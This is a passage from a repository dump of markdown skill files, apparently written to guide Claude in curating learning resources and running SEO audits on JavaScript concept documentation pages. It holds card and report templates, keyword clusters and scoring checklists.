href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/...\">\n    [What this reference covers]. \n    Essential reading for understanding [specific aspect].\n  </Card>\n</CardGroup>\n```\n\n### Articles Section\n\n```markdown\n## Articles\n\n<CardGroup cols={2}>\n  <Card title=\"[Article Title]\" icon=\"newspaper\" href=\"...\">\n    [What makes it unique/what it covers]. \n    [Why read this one/who it's for].\n  </Card>\n  <Card title=\"[Article Title]\" icon=\"newspaper\" href=\"...\">\n    [Specific coverage]. \n    [Value proposition].\n  </Card>\n  <Card title=\"[Article Title]\" icon=\"newspaper\" href=\"...\">\n    [Unique angle]. \n    [Why it's worth reading].\n  </Card>\n  <Card title=\"[Article Title]\" icon=\"newspaper\" href=\"...\">\n    [What it covers]. \n    [Best for whom].\n  </Card>\n</CardGroup>\n```\n\n### Videos Section\n\n```markdown\n## Videos\n\n<CardGroup cols={2}>\n  <Card title=\"[Video Title] — [Creator]\" icon=\"video\" href=\"https://www.youtube.com/watch?v=...\">\n    [What it covers/unique approach]. \n    [Why watch/who it's for].\n  </Card>\n  <Card title=\"[Video Title] — [Creator]\" icon=\"video\" href=\"https://www.youtube.com/watch?v=...\">\n    [Specific focus]. \n    [What makes it stand out].\n  </Card>\n  <Card title=\"[Video Title] — [Creator]\" icon=\"video\" href=\"https://www.youtube.com/watch?v=...\">\n    [Coverage]. \n    [Value].\n  </Card>\n</CardGroup>\n```\n\n### Books Section (Optional)\n\n```markdown\n<Card title=\"[Book Title] — [Author]\" icon=\"book\" href=\"...\">\n  [What the book covers and its approach]. \n  [Who should read it and what they'll gain].\n</Card>\n```\n\n### Courses Section (Optional)\n\n```markdown\n<CardGroup cols={2}>\n  <Card title=\"[Course Title] — [Platform]\" icon=\"graduation-cap\" href=\"...\">\n    [What the course covers]. \n    [Format and who it's best for].\n  </Card>\n</CardGroup>\n```\n\n---\n\n## Resource Audit Report Template\n\nUse this template to document audit findings.\n\n```markdown\n# Resource Audit Report: [Concept Name]\n\n**File:** `/docs/concepts/[slug].mdx`\n**Date:** YYYY-MM-DD\n**Auditor:** [Name/Claude]\n\n---\n\n## Summary\n\n| Metric | Count |\n|--------|-------|\n| Total Resources | XX |\n| Working Links (200) | XX |\n| Broken Links (404) | XX |\n| Redirects (301/302) | XX |\n| Outdated Content | XX |\n| Generic Descriptions | XX |\n\n## Resource Count vs Targets\n\n| Section | Current | Target | Status |\n|---------|---------|--------|--------|\n| Reference (MDN) | X | 2-4 | ✅/⚠️/❌ |\n| Articles | X | 4-6 | ✅/⚠️/❌ |\n| Videos | X | 3-4 | ✅/⚠️/❌ |\n| Courses | X | 0-3 | ✅/⚠️/❌ |\n\n---\n\n## Broken Links (Remove or Replace)\n\n| Resource | Line | URL | Status | Action |\n|----------|------|-----|--------|--------|\n| [Title] | XX | [URL] | 404 | Remove |\n| [Title] | XX | [URL] | 404 | Replace with [alternative] |\n\n---\n\n## Redirects (Update URLs)\n\n| Resource | Line | Old URL | New URL |\n|----------|------|---------|---------|\n| [Title] | XX | [old] | [new] |\n\n---\n\n## Outdated Resources (Consider Replacing)\n\n| Resource | Line | Issue | Recommendation |\n|----------|------|-------|----------------|\n| [Title] | XX | Published 2014, uses var throughout | Replace with [modern alternative] |\n| [Title] | XX | Pre-ES6, no mention of let/const | Find updated version or replace |\n\n---\n\n## Description Improvements Needed\n\n| Resource | Line | Current | Suggested |\n|----------|------|---------|-----------|\n| [Title] | XX | \"A guide to closures\" | \"[Specific description with value prop]\" |\n| [Title] | XX | \"Learn about promises\" | \"[What makes it unique]. [Why read it].\" |\n\n---\n\n## Missing Resources (Recommendations)\n\n| Type | Gap | Suggested Resource | URL |\n|------|-----|-------------------|-----|\n| Reference | No main MDN link | [Topic] — MDN | [URL] |\n| Article | No beginner guide | [Title] — javascript.info | [URL] |\n| Video | No visual explanation | [Title] — [Creator] | [URL] |\n| Article | No advanced deep-dive | [Title] — 2ality | [URL] |\n\n---\n\n## Non-JavaScript Resources (Remove)\n\n| Resource | Line | Issue |\n|----------|------|-------|\n| [Title] | XX | Primarily about C#, not JavaScript |\n\n---\n\n## Action Items\n\n### High Priority (Do First)\n1. **Remove broken link:** [Title] (line XX)\n2. **Add missing MDN reference:** [Topic]\n3. **Replace outdated resource:** [Title] with [alternative]\n\n### Medium Priority\n1. **Update redirect URL:** [Title] (line XX)\n2. **Improve description:** [Title] (line XX)\n3. **Add beginner-friendly article**\n\n### Low Priority\n1. **Add additional video resource**\n2. **Consider adding course section**\n\n---\n\n## Verification Checklist\n\nAfter making changes:\n\n- [ ] All broken links removed or replaced\n- [ ] All redirect URLs updated\n- [ ] Outdated resources replaced\n- [ ] Generic descriptions rewritten\n- [ ] Missing resource types added\n- [ ] Resource counts meet targets\n- [ ] All new links verified working\n- [ ] All descriptions are specific and valuable\n```\n\n---\n\n## Quick Reference\n\n### Icon Reference\n\n| Content Type | Icon Value |\n|--------------|------------|\n| MDN/Official docs | `book` |\n| Articles/Blog posts | `newspaper` |\n| Videos | `video` |\n| Courses | `graduation-cap` |\n| Books | `book` |\n| Related concepts | Context-appropriate |\n\n### Character Guidelines\n\n| Element | Guideline |\n|---------|-----------|\n| Card title | Keep concise, include creator for videos |\n| Description sentence 1 | What it covers / what's unique |\n| Description sentence 2 | Why read/watch / who it's for |\n\n### Resource Ordering\n\nWithin each section, order resources:\n1. **Most foundational/beginner-friendly first**\n2. **Official references before community content**\n3. **Most highly recommended prominently placed**\n4. **Advanced/niche content last**\n\n---\n\n## Quality Checklist\n\n### Link Verification\n- [ ] All links return 200 (not 404, 301)\n- [ ] No redirect chains\n- [ ] No hard paywalls without notice\n- [ ] All URLs are HTTPS where available\n\n### Content Quality\n- [ ] All resources are JavaScript-focused\n- [ ] No resources teaching anti-patterns\n- [ ] Publication dates appropriate for topic\n- [ ] Mix of beginner and advanced content\n- [ ] Visual and text resources included\n\n### Description Quality\n- [ ] All descriptions are specific (not generic)\n- [ ] Descriptions explain unique value\n- [ ] No \"comprehensive guide to...\" phrases\n- [ ] Each description is 2 sentences\n- [ ] Descriptions match actual content\n\n### Completeness\n- [ ] 2-4 MDN/official references\n- [ ] 4-6 quality articles\n- [ ] 3-4 quality videos\n- [ ] Resources ordered logically\n- [ ] Diversity in teaching styles\n\n---\n\n## Summary\n\nWhen curating resources for a concept page:\n\n1. **Audit first** — Check all existing links and content\n2. **Identify gaps** — Compare against targets (2-4 refs, 4-6 articles, 3-4 videos)\n3. **Find quality resources** — Search trusted sources\n4. **Write specific descriptions** — What's unique + why read/watch\n5. **Format correctly** — Proper Card syntax, icons, ordering\n6. **Document changes** — Use the audit report template\n\n**Remember:** Resources should enhance learning, not pad the page. Every link should offer genuine value. Quality over quantity — a few excellent resources beat many mediocre ones.\n"
  },
  {
    "path": ".claude/skills/seo-review/SKILL.md",
    "content": "---\nname: seo-review\ndescription: Perform a focused SEO audit on JavaScript concept pages to maximize search visibility, featured snippet optimization, and ranking potential\n---\n\n# Skill: SEO Audit for Concept Pages\n\nUse this skill to perform a focused SEO audit on concept documentation pages for the 33 JavaScript Concepts project. The goal is to maximize search visibility for JavaScript developers.\n\n## When to Use\n\n- Before publishing a new concept page\n- When optimizing underperforming pages\n- Periodic content audits\n- After major content updates\n- When targeting new keywords\n\n## Goal\n\nEach concept page should rank for searches like:\n- \"what is [concept] in JavaScript\"\n- \"how does [concept] work in JavaScript\"\n- \"[concept] JavaScript explained\"\n- \"[concept] JavaScript tutorial\"\n- \"[concept] JavaScript example\"\n\n---\n\n## SEO Audit Methodology\n\nFollow these five steps for a complete SEO audit.\n\n### Step 1: Identify Target Keywords\n\nBefore auditing, identify the keyword cluster for the concept.\n\n#### Keyword Cluster Template\n\n| Type | Pattern | Example (Closures) |\n|------|---------|-------------------|\n| **Primary** | [concept] JavaScript | closures JavaScript |\n| **What is** | what is [concept] in JavaScript | what is a closure in JavaScript |\n| **How does** | how does [concept] work | how do closures work |\n| **How to** | how to use/create [concept] | how to use closures |\n| **Why** | why use [concept] | why use closures JavaScript |\n| **Examples** | [concept] examples | closure examples JavaScript |\n| **vs** | [concept] vs [related] | closures vs scope |\n| **Interview** | [concept] interview questions | closure interview questions |\n\n### Step 2: On-Page SEO Audit\n\nCheck all on-page SEO elements systematically.\n\n### Step 3: Featured Snippet Optimization\n\nVerify content is structured to win featured snippets.\n\n### Step 4: Internal Linking Audit\n\nCheck the internal link structure.\n\n### Step 5: Generate Report\n\nDocument findings using the report template.\n\n---\n\n## Keyword Clusters by Concept\n\nUse these pre-built keyword clusters for each concept.\n\n<AccordionGroup>\n  <Accordion title=\"Call Stack\">\n    | Type | Keywords |\n    |------|----------|\n    | Primary | JavaScript call stack, call stack JavaScript |\n    | What is | what is the call stack in JavaScript |\n    | How does | how does the call stack work |\n    | Error | maximum call stack size exceeded, stack overflow JavaScript |\n    | Visual | call stack visualization, call stack explained |\n    | Interview | call stack interview questions JavaScript |\n  </Accordion>\n\n  <Accordion title=\"Primitive Types\">\n    | Type | Keywords |\n    |------|----------|\n    | Primary | JavaScript primitive types, primitives in JavaScript |\n    | What are | what are primitive types in JavaScript |\n    | List | JavaScript data types, types in JavaScript |\n    | vs | primitives vs objects JavaScript |\n    | typeof | typeof JavaScript, JavaScript typeof operator |\n    | Interview | JavaScript types interview questions |\n  </Accordion>\n\n  <Accordion title=\"Value vs Reference Types\">\n    | Type | Keywords |\n    |------|----------|\n    | Primary | JavaScript value vs reference, pass by reference JavaScript |\n    | What is | what is pass by value in JavaScript |\n    | How does | how does JavaScript pass objects |\n    | Comparison | value types vs reference types JavaScript |\n    | Copy | how to copy objects JavaScript, deep copy JavaScript |\n  </Accordion>\n\n  <Accordion title=\"Type Coercion\">\n    | Type | Keywords |\n    |------|----------|\n    | Primary | JavaScript type coercion, type conversion JavaScript |\n    | What is | what is type coercion in JavaScript |\n    | How does | how does type coercion work |\n    | Implicit | implicit type conversion JavaScript |\n    | Explicit | explicit type conversion JavaScript |\n    | Interview | type coercion interview questions |\n  </Accordion>\n\n  <Accordion title=\"Equality Operators\">\n    | Type | Keywords |\n    |------|----------|\n    | Primary | JavaScript equality, == vs === JavaScript |\n    | What is | what is the difference between == and === |\n    | Comparison | loose equality vs strict equality JavaScript |\n    | Best practice | when to use == vs === |\n    | Interview | JavaScript equality interview questions |\n  </Accordion>\n\n  <Accordion title=\"Scope and Closures\">\n    | Type | Keywords |\n    |------|----------|\n    | Primary | JavaScript closures, JavaScript scope |\n    | What is | what is a closure in JavaScript, what is scope |\n    | How does | how do closures work, how does scope work |\n    | Types | types of scope JavaScript, lexical scope |\n    | Use cases | closure use cases, why use closures |\n    | Interview | closure interview questions JavaScript |\n  </Accordion>\n\n  <Accordion title=\"Event Loop\">\n    | Type | Keywords |\n    |------|----------|\n    | Primary | JavaScript event loop, event loop JavaScript |\n    | What is | what is the event loop in JavaScript |\n    | How does | how does the event loop work |\n    | Visual | event loop visualization, event loop explained |\n    | Related | call stack event loop, task queue JavaScript |\n    | Interview | event loop interview questions |\n  </Accordion>\n\n  <Accordion title=\"Promises\">\n    | Type | Keywords |\n    |------|----------|\n    | Primary | JavaScript Promises, Promises in JavaScript |\n    | What is | what is a Promise in JavaScript |\n    | How to | how to use Promises, how to chain Promises |\n    | Methods | Promise.all, Promise.race, Promise.allSettled |\n    | Error | Promise error handling, Promise catch |\n    | vs | Promises vs callbacks, Promises vs async await |\n  </Accordion>\n\n  <Accordion title=\"async/await\">\n    | Type | Keywords |\n    |------|----------|\n    | Primary | JavaScript async await, async await JavaScript |\n    | What is | what is async await in JavaScript |\n    | How to | how to use async await, async await tutorial |\n    | Error | async await error handling, try catch async |\n    | vs | async await vs Promises |\n    | Interview | async await interview questions |\n  </Accordion>\n\n  <Accordion title=\"this Keyword\">\n    | Type | Keywords |\n    |------|----------|\n    | Primary | JavaScript this keyword, this in JavaScript |\n    | What is | what is this in JavaScript |\n    | How does | how does this work in JavaScript |\n    | Binding | call apply bind JavaScript, this binding |\n    | Arrow | this in arrow functions |\n    | Interview | this keyword interview questions |\n  </Accordion>\n\n  <Accordion title=\"Prototypes\">\n    | Type | Keywords |\n    |------|----------|\n    | Primary | JavaScript prototype, prototype chain JavaScript |\n    | What is | what is a prototype in JavaScript |\n    | How does | how does prototype inheritance work |\n    | Chain | prototype chain explained |\n    | vs | prototype vs class JavaScript |\n    | Interview | prototype interview questions JavaScript |\n  </Accordion>\n\n  <Accordion title=\"DOM\">\n    | Type | Keywords |\n    |------|----------|\n    | Primary | JavaScript DOM, DOM manipulation JavaScript |\n    | What is | what is the DOM in JavaScript |\n    | How to | how to manipulate DOM JavaScript |\n    | Methods | getElementById, querySelector JavaScript |\n    | Events | DOM events JavaScript, event listeners |\n    | Performance | DOM performance, virtual DOM vs DOM |\n  </Accordion>\n\n  <Accordion title=\"Higher-Order Functions\">\n    | Type | Keywords |\n    |------|----------|\n    | Primary | JavaScript higher order functions, higher order functions |\n    | What are | what are higher order functions |\n    | Examples | map filter reduce JavaScript |\n    | How to | how to use higher order functions |\n    | Interview | higher order functions interview |\n  </Accordion>\n\n  <Accordion title=\"Recursion\">\n    | Type | Keywords |\n    |------|----------|\n    | Primary | JavaScript recursion, recursion in JavaScript |\n    | What is | what is recursion in JavaScript |\n    | How to | how to write recursive functions |\n    | Examples | recursion examples JavaScript |\n    | vs | recursion vs iteration JavaScript |\n    | Interview | recursion interview questions |\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Audit Checklists\n\n### Title Tag Checklist (4 points)\n\n| # | Check | Points | How to Verify |\n|---|-------|--------|---------------|\n| 1 | Length 50-60 characters | 1 | Count characters in `title` frontmatter |\n| 2 | Primary keyword in first half | 1 | Concept name appears early |\n| 3 | Ends with \"in JavaScript\" | 1 | Check title ending |\n| 4 | Contains compelling hook | 1 | Promises value/benefit to reader |\n\n**Scoring:**\n- 4/4: ✅ Excellent\n- 3/4: ⚠️ Good, minor improvements possible\n- 0-2/4: ❌ Needs significant work\n\n**Title Formula:**\n```\n[Concept]: [What You'll Understand] in JavaScript\n```\n\n**Good Examples:**\n| Concept | Title (with character count) |\n|---------|------------------------------|\n| Closures | \"Closures: How Functions Remember Their Scope in JavaScript\" (58 chars) |\n| Event Loop | \"Event Loop: How Async Code Actually Runs in JavaScript\" (54 chars) |\n| Promises | \"Promises: Handling Async Operations in JavaScript\" (49 chars) |\n| DOM | \"DOM: How Browsers Represent Web Pages in JavaScript\" (51 chars) |\n\n**Bad Examples:**\n| Issue | Bad Title | Better Title |\n|-------|-----------|--------------|\n| Too short | \"Closures\" | \"Closures: How Functions Remember Their Scope in JavaScript\" |\n| Too long | \"Understanding JavaScript Closures and How They Work with Examples\" (66 chars) | \"Closures: How Functions Remember Their Scope in JavaScript\" (58 chars) |\n| No hook | \"JavaScript Closures\" | \"Closures: How Functions Remember Their Scope in JavaScript\" |\n| Missing \"JavaScript\" | \"Understanding Closures and Scope\" | Add \"in JavaScript\" at end |\n\n---\n\n### Meta Description Checklist (4 points)\n\n| # | Check | Points | How to Verify |\n|---|-------|--------|---------------|\n| 1 | Length 150-160 characters | 1 | Count characters in `description` frontmatter |\n| 2 | Starts with action word | 1 | \"Learn\", \"Understand\", \"Discover\" (NOT \"Master\") |\n| 3 | Contains primary keyword | 1 | Concept name + \"JavaScript\" present |\n| 4 | Promises specific value | 1 | Lists what reader will learn |\n\n**Description Formula:**\n```\n[Action word] [what it is] in JavaScript. [Specific things they'll learn]: [topic 1], [topic 2], and [topic 3].\n```\n\n**Good Examples:**\n\n| Concept | Description |\n|---------|-------------|\n| Closures | \"Learn JavaScript closures and how functions remember their scope. Covers lexical scoping, practical use cases, memory considerations, and common closure patterns.\" (159 chars) |\n| Event Loop | \"Discover how the JavaScript event loop manages async code execution. Understand the call stack, task queue, microtasks, and why JavaScript is single-threaded but non-blocking.\" (176 chars - trim!) |\n| DOM | \"Learn how the DOM works in JavaScript. Understand how browsers represent HTML as a tree, select and manipulate elements, traverse nodes, and optimize rendering.\" (162 chars) |\n\n**Bad Examples:**\n\n| Issue | Bad Description | Fix |\n|-------|-----------------|-----|\n| Too short | \"Learn about closures\" | Expand to 150-160 chars with specifics |\n| Starts with \"Master\" | \"Master JavaScript closures...\" | \"Learn JavaScript closures...\" |\n| Too vague | \"A guide to closures\" | List specific topics covered |\n| Missing keyword | \"Functions can remember things\" | Include \"closures\" and \"JavaScript\" |\n\n---\n\n### Keyword Placement Checklist (5 points)\n\n| # | Check | Points | How to Verify |\n|---|-------|--------|---------------|\n| 1 | Primary keyword in title | 1 | Check frontmatter `title` |\n| 2 | Primary keyword in meta description | 1 | Check frontmatter `description` |\n| 3 | Primary keyword in first 100 words | 1 | Check opening paragraphs |\n| 4 | Keyword in at least one H2 heading | 1 | Scan all `##` headings |\n| 5 | No keyword stuffing | 1 | Content reads naturally |\n\n**Keyword Placement Map:**\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                         KEYWORD PLACEMENT                                │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│  🔴 CRITICAL (Must have keyword)                                         │\n│  ─────────────────────────────────                                       │\n│  • title frontmatter                                                     │\n│  • description frontmatter                                               │\n│  • First paragraph (within 100 words)                                    │\n│  • At least one H2 heading                                               │\n│                                                                          │\n│  🟡 RECOMMENDED (Include naturally)                                      │\n│  ──────────────────────────────────                                      │\n│  • \"What you'll learn\" Info box                                          │\n│  • H3 subheadings                                                        │\n│  • Key Takeaways section                                                 │\n│  • First sentence after major H2s                                        │\n│                                                                          │\n│  ⚠️ AVOID                                                                │\n│  ─────────                                                               │\n│  • Same phrase >4 times per 1000 words                                   │\n│  • Forcing keywords where pronouns work better                           │\n│  • Awkward sentence structures to fit keywords                           │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n---\n\n### Content Structure Checklist (6 points)\n\n| # | Check | Points | How to Verify |\n|---|-------|--------|---------------|\n| 1 | Opens with question hook | 1 | First paragraph asks engaging question |\n| 2 | Code example in first 200 words | 1 | Simple example appears early |\n| 3 | \"What you'll learn\" Info box | 1 | `<Info>` component after opening |\n| 4 | Short paragraphs (2-4 sentences) | 1 | Scan content for long blocks |\n| 5 | 1,500+ words | 1 | Word count check |\n| 6 | Key terms bolded on first mention | 1 | Important terms use `**bold**` |\n\n**Content Structure Template:**\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                       IDEAL PAGE STRUCTURE                               │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│  1. QUESTION HOOK (First 50 words)                                       │\n│     \"How does JavaScript...? Why do...?\"                                 │\n│                                                                          │\n│  2. BRIEF ANSWER + CODE EXAMPLE (Words 50-200)                           │\n│     Quick explanation + simple code demo                                 │\n│                                                                          │\n│  3. \"WHAT YOU'LL LEARN\" INFO BOX                                         │\n│     5-7 bullet points                                                    │\n│                                                                          │\n│  4. PREREQUISITES WARNING (if applicable)                                │\n│     Link to required prior concepts                                      │\n│                                                                          │\n│  5. MAIN CONTENT SECTIONS (H2s)                                          │\n│     Each H2 answers a question or teaches a concept                      │\n│     Include code examples, diagrams, tables                              │\n│                                                                          │\n│  6. COMMON MISTAKES / GOTCHAS SECTION                                    │\n│     What trips people up                                                 │\n│                                                                          │\n│  7. KEY TAKEAWAYS                                                        │\n│     8-10 numbered points summarizing everything                          │\n│                                                                          │\n│  8. TEST YOUR KNOWLEDGE                                                  │\n│     5-6 Q&A accordions                                                   │\n│                                                                          │\n│  9. RELATED CONCEPTS                                                     │\n│     4 cards linking to related topics                                    │\n│                                                                          │\n│  10. RESOURCES (Reference, Articles, Videos)                             │\n│      MDN links, curated articles, videos                                 │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n---\n\n### Featured Snippet Checklist (4 points)\n\n| # | Check | Points | How to Verify |\n|---|-------|--------|---------------|\n| 1 | \"What is X\" has 40-60 word definition | 1 | Count words in first paragraph after \"What is\" H2 |\n| 2 | At least one H2 is phrased as question | 1 | Check for \"What is\", \"How does\", \"Why\" H2s |\n| 3 | Numbered steps for \"How to\" content | 1 | Uses `<Steps>` component or numbered list |\n| 4 | Comparison tables (if applicable) | 1 | Tables for \"X vs Y\" content |\n\n**Featured Snippet Patterns:**\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                     FEATURED SNIPPET FORMATS                             │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│  QUERY TYPE             WINNING FORMAT         YOUR CONTENT              │\n│  ───────────            ──────────────         ────────────              │\n│                                                                          │\n│  \"What is X\"            Paragraph              40-60 word definition     │\n│                                                after H2, bold keyword    │\n│                                                                          │\n│  \"How to X\"             Numbered list          <Steps> component or      │\n│                                                1. 2. 3. markdown         │\n│                                                                          │\n│  \"X vs Y\"               Table                  | Feature | X | Y |       │\n│                                                comparison table          │\n│                                                                          │\n│  \"Types of X\"           Bullet list            - **Type 1** — desc       │\n│                                                - **Type 2** — desc       │\n│                                                                          │\n│  \"[X] examples\"         Code block             ```javascript             │\n│                         + explanation          // example code           │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n**Definition Paragraph Example (40-60 words):**\n\n```markdown\n## What is a Closure in JavaScript?\n\nA **closure** is a function that retains access to variables from its outer \n(enclosing) scope, even after that outer function has finished executing. \nClosures are created every time a function is created in JavaScript, allowing \ninner functions to \"remember\" and access their lexical environment.\n```\n\n(This is 52 words - perfect for a featured snippet)\n\n---\n\n### Internal Linking Checklist (4 points)\n\n| # | Check | Points | How to Verify |\n|---|-------|--------|---------------|\n| 1 | 3-5 related concepts linked in body | 1 | Count `/concepts/` links in prose |\n| 2 | Descriptive anchor text | 1 | No \"click here\", \"here\", \"this\" |\n| 3 | Prerequisites in Warning box | 1 | `<Warning>` with links at start |\n| 4 | Related Concepts section has 4 cards | 1 | `<CardGroup>` at end with 4 Cards |\n\n**Good Anchor Text:**\n\n| ❌ Bad | ✓ Good |\n|--------|--------|\n| \"click here\" | \"event loop concept\" |\n| \"here\" | \"JavaScript closures\" |\n| \"this article\" | \"our Promises guide\" |\n| \"read more\" | \"understanding the call stack\" |\n\n**Link Placement Strategy:**\n\n```markdown\n<!-- In Prerequisites (Warning box) -->\n<Warning>\n**Prerequisite:** This guide assumes you understand [Promises](/concepts/promises) \nand the [Event Loop](/concepts/event-loop). Read those first if needed.\n</Warning>\n\n<!-- In Body Content (natural context) -->\nWhen the callback finishes, it's added to the task queue — managed by \nthe [event loop](/concepts/event-loop).\n\n<!-- In Related Concepts Section -->\n<CardGroup cols={2}>\n  <Card title=\"Promises\" icon=\"handshake\" href=\"/concepts/promises\">\n    async/await is built on top of Promises\n  </Card>\n</CardGroup>\n```\n\n---\n\n### Technical SEO Checklist (3 points)\n\n| # | Check | Points | How to Verify |\n|---|-------|--------|---------------|\n| 1 | Single H1 per page | 1 | Only one `#` heading (the title) |\n| 2 | URL slug contains keyword | 1 | `/concepts/closures` not `/concepts/topic-1` |\n| 3 | No orphan pages | 1 | Page is linked from at least one other page |\n\n**H1 Rule:**\n\nEvery page should have exactly ONE H1 (your main title). This is critical for SEO:\n- The H1 tells Google what the page is about\n- Multiple H1s confuse search engines about page hierarchy\n- All other headings should be H2 (`##`) and below\n- The H1 should contain your primary keyword\n\n```markdown\n# Closures in JavaScript     ← This is your H1 (only one!)\n\n## What is a Closure?        ← H2 for sections\n### Lexical Scope            ← H3 for subsections\n## How Closures Work         ← Another H2\n```\n\n**URL/Slug Best Practices:**\n\n| ✅ Good | ❌ Bad |\n|---------|--------|\n| `/concepts/closures` | `/concepts/c1` |\n| `/concepts/event-loop` | `/concepts/topic-7` |\n| `/concepts/type-coercion` | `/concepts/abc123` |\n| `/concepts/async-await` | `/concepts/async_await` |\n\nRules for slugs:\n- **Include primary keyword** — The concept name should be in the URL\n- **Use hyphens, not underscores** — `event-loop` not `event_loop`\n- **Keep slugs short and readable** — Under 50 characters\n- **No UUIDs, database IDs, or random strings**\n- **Lowercase only** — `/concepts/Event-Loop` should be `/concepts/event-loop`\n\n**Orphan Page Detection:**\n\nAn orphan page has no internal links pointing to it from other pages. This hurts SEO because:\n- Google may not discover or crawl it frequently\n- It signals the page isn't important to your site structure\n- Users can't navigate to it naturally\n- Link equity doesn't flow to the page\n\n**How to check for orphan pages:**\n1. Search the codebase for links to this concept: `grep -r \"/concepts/[slug]\" docs/`\n2. Verify it appears in at least one other concept's \"Related Concepts\" section\n3. Check that pages listing it as a prerequisite link back appropriately\n4. Ensure it's included in the navigation (`docs.json`)\n\n**Fixing orphan pages:**\n- Add the concept to related pages' \"Related Concepts\" CardGroup\n- Link to it naturally in body content of related concepts\n- Ensure bidirectional linking (if A links to B, B should link back to A where relevant)\n\n---\n\n## Scoring System\n\n### Total Points Available: 30\n\n| Category | Max Points |\n|----------|------------|\n| Title Tag | 4 |\n| Meta Description | 4 |\n| Keyword Placement | 5 |\n| Content Structure | 6 |\n| Featured Snippets | 4 |\n| Internal Linking | 4 |\n| Technical SEO | 3 |\n| **Total** | **30** |\n\n### Score Interpretation\n\n| Score | Percentage | Status | Action |\n|-------|------------|--------|--------|\n| 27-30 | 90-100% | ✅ Excellent | Ready to publish |\n| 23-26 | 75-89% | ⚠️ Good | Minor optimizations needed |\n| 17-22 | 55-74% | ⚠️ Fair | Several improvements needed |\n| 0-16 | <55% | ❌ Poor | Significant work required |\n\n---\n\n## Common SEO Issues and Fixes\n\n### Title Tag Issues\n\n| Issue | Current | Fix |\n|-------|---------|-----|\n| Too short (<50 chars) | \"Closures\" (8) | \"Closures: How Functions Remember Their Scope in JavaScript\" (58) |\n| Too long (>60 chars) | \"Understanding JavaScript Closures and How They Work with Examples\" (66) | \"Closures: How Functions Remember Their Scope in JavaScript\" (58) |\n| Missing keyword | \"Understanding Scope\" | Add concept name: \"Closures: Understanding Scope in JavaScript\" |\n| No hook | \"JavaScript Closures\" | Add benefit: \"Closures: How Functions Remember Their Scope in JavaScript\" |\n| Missing \"JavaScript\" | \"Closures Explained\" | Add at end: \"Closures Explained in JavaScript\" |\n\n### Meta Description Issues\n\n| Issue | Current | Fix |\n|-------|---------|-----|\n| Too short (<120 chars) | \"Learn about closures\" (20) | Expand with specifics to 150-160 chars |\n| Too long (>160 chars) | [Gets truncated] | Edit ruthlessly, keep key information |\n| Starts with \"Master\" | \"Master JavaScript closures...\" | \"Learn JavaScript closures...\" |\n| No keyword | \"Functions that remember\" | Include \"closures\" and \"JavaScript\" |\n| Too vague | \"A guide to closures\" | List specific topics: \"Covers X, Y, and Z\" |\n\n### Content Structure Issues\n\n| Issue | Fix |\n|-------|-----|\n| No question hook | Start with \"How does...?\" or \"Why...?\" |\n| Code example too late | Move simple example to first 200 words |\n| Missing Info box | Add `<Info>` with \"What you'll learn\" |\n| Long paragraphs | Break into 2-4 sentence chunks |\n| Under 1,500 words | Add more depth, examples, edge cases |\n| No bolded terms | Bold key concepts on first mention |\n\n### Featured Snippet Issues\n\n| Issue | Fix |\n|-------|-----|\n| No \"What is\" definition | Add 40-60 word definition paragraph |\n| Definition too long | Tighten to 40-60 words |\n| No question H2s | Add \"What is X?\" or \"How does X work?\" H2 |\n| Steps not numbered | Use `<Steps>` or numbered markdown |\n| No comparison tables | Add table for \"X vs Y\" sections |\n\n### Internal Linking Issues\n\n| Issue | Fix |\n|-------|-----|\n| No internal links | Add 3-5 links to related concepts |\n| Bad anchor text | Replace \"click here\" with descriptive text |\n| No prerequisites | Add `<Warning>` with prerequisite links |\n| Empty Related Concepts | Add 4 Cards linking to related topics |\n\n### Technical SEO Issues\n\n| Issue | Fix |\n|-------|-----|\n| Multiple H1 tags | Keep only one `#` heading (the title), use `##` for all sections |\n| Slug missing keyword | Rename file to include concept name (e.g., `closures.mdx`) |\n| Orphan page | Add links from related concept pages' body or Related Concepts section |\n| Underscore in slug | Use hyphens: `event-loop.mdx` not `event_loop.mdx` |\n| Uppercase in slug | Use lowercase only: `async-await.mdx` not `Async-Await.mdx` |\n| Slug too long | Shorten to primary keyword: `closures.mdx` not `understanding-javascript-closures-and-scope.mdx` |\n\n---\n\n## SEO Audit Report Template\n\nUse this template to document your findings.\n\n```markdown\n# SEO Audit Report: [Concept Name]\n\n**File:** `/docs/concepts/[slug].mdx`\n**Date:** YYYY-MM-DD\n**Auditor:** [Name/Claude]\n**Overall Score:** XX/30 (XX%)\n**Status:** ✅ Excellent | ⚠️ Needs Work | ❌ Poor\n\n---\n\n## Score Summary\n\n| Category | Score | Status |\n|----------|-------|--------|\n| Title Tag | X/4 | ✅/⚠️/❌ |\n| Meta Description | X/4 | ✅/⚠️/❌ |\n| Keyword Placement | X/5 | ✅/⚠️/❌ |\n| Content Structure | X/6 | ✅/⚠️/❌ |\n| Featured Snippets | X/4 | ✅/⚠️/❌ |\n| Internal Linking | X/4 | ✅/⚠️/❌ |\n| Technical SEO | X/3 | ✅/⚠️/❌ |\n| **Total** | **X/30** | **STATUS** |\n\n---\n\n## Target Keywords\n\n**Primary Keyword:** [e.g., \"JavaScript closures\"]\n**Secondary Keywords:**\n- [keyword 1]\n- [keyword 2]\n- [keyword 3]\n\n**Search Intent:** Informational / How-to / Comparison\n\n---\n\n## Title Tag Analysis\n\n**Current Title:** \"[current title from frontmatter]\"\n**Character Count:** XX characters\n**Score:** X/4\n\n| Check | Status | Notes |\n|-------|--------|-------|\n| Length 50-60 chars | ✅/❌ | XX characters |\n| Primary keyword in first half | ✅/❌ | [notes] |\n| Ends with \"in JavaScript\" | ✅/❌ | [notes] |\n| Contains compelling hook | ✅/❌ | [notes] |\n\n**Issues Found:** [if any]\n\n**Recommended Title:** \"[suggested title]\" (XX chars)\n\n---\n\n## Meta Description Analysis\n\n**Current Description:** \"[current description from frontmatter]\"\n**Character Count:** XX characters\n**Score:** X/4\n\n| 